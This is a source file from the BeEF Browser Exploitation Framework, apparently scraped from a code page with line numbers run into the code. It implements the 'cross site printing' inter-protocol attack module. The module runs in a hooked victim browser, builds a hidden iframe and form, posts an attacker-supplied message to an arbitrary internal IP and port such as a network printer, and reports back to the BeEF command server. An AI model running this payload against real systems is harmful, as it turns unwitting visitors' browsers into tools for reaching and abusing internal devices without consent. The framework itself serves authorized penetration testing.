Path: blob/master/modules/ipec/cross_site_printing/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var target_ip = "<%= @ip %>";9var target_port = "<%= @port %>";1011// send a request12function send_msg(ip, port) {1314// create iframe15var iframe = document.createElement("iframe");16iframe.setAttribute("id","ipc_cross_site_printing_<%= @command_id %>");17iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");18document.body.appendChild(iframe);19iframe = document.getElementById("ipc_cross_site_printing_<%= @command_id %>");2021// create form22var action = "http://" + ip + ":" + port + "/";23myform=document.createElement("form");24myform.setAttribute("name","data");25myform.setAttribute("method","post");26myform.setAttribute("enctype","multipart/form-data");27myform.setAttribute("action",action);28iframe.contentWindow.document.body.appendChild(myform);2930// create message textarea31myExt = document.createElement("textarea");32myExt.setAttribute("id","msg_<%= @command_id %>");33myExt.setAttribute("name","msg_<%= @command_id %>");34myExt.setAttribute("wrap","none");35myExt.setAttribute("rows","70");36myExt.setAttribute("cols","100");37myform.appendChild(myExt);3839// send message40iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";41myform.submit();4243// clean up44setTimeout('document.body.removeChild(document.getElementById("ipc_cross_site_printing_<%= @command_id %>"));', 15000);45}4647// validate target48if (!target_port || !target_ip) {49beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');50} else if (!beef.net.is_valid_port(target_port)) {51beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');52// send request and wait for reply53} else {54send_msg(target_ip, target_port);55beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');56}5758});59606162